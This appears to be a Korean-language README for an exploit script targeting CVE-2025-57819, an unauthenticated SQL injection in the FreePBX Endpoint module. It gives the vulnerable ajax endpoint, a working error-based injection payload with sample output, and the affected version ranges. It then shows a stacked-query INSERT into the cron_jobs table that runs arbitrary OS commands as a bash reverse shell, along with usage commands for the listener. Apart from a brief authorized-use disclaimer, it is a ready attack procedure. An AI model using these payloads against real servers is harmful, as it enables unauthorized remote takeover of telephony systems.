
CVE-2025-57819 -> rce
FreePBX Endpoint Manager 인증되지 않은 SQL 인젝션(CVE-2025-57819)을 FreePBX cron_jobs 테이블을 통한 원격 코드 실행으로 연결하는 원샷 익스플로잇입니다.
승인된 보안 테스트 / CTF 용도로만 사용하세요.
Endpoint 모듈의 ajax 핸들러는 brand 매개변수를 SQL 쿼리에 직접 연결하며, 모듈 경로 FreePBX\modules\endpoint\ajax는 ajax Referrer/인증 검사를 우회합니다. 이를 통해 인증되지 않은 오류 기반 SQL 인젝션(EXTRACTVALUE 사용)이 가능하며, 스택드 쿼리 쓰기도 가능합니다.
인젝션 지점:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
증명 (오류 기반 읽기):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
영향: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
인젝션 자체는 읽기 전용이지만, 스택드 쿼리를 통해 쓰기가 가능합니다. FreePBX는 cron 관리자를 통해 cron_jobs 테이블의 작업을 실행하므로, 행을 삽입하면 임의 명령 실행이 가능합니다(약 60초 이내, 스케줄 * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
주입된 명령은 bash 리버스 셸입니다. cron 행은 첫 번째 콜백 이후 자동으로 제거되어 반복 연결을 방지합니다.
pip install requests urllib3
Python 3. 내장 IP 감지(-i/--interface)는 Linux 전용입니다. 다른 플랫폼에서는 --ip를 사용하세요.
# 기본값: 인터페이스 tun0, 포트 4444 — 리스너 시작, 익스플로잇 실행, 셸 획득
python3 exploit.py http://{target}
# 다른 인터페이스 / 포트 선택
python3 exploit.py http://{target} -i eth0 -p 9001
# 리스너 IP를 명시적으로 설정
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
스크립트의 동작: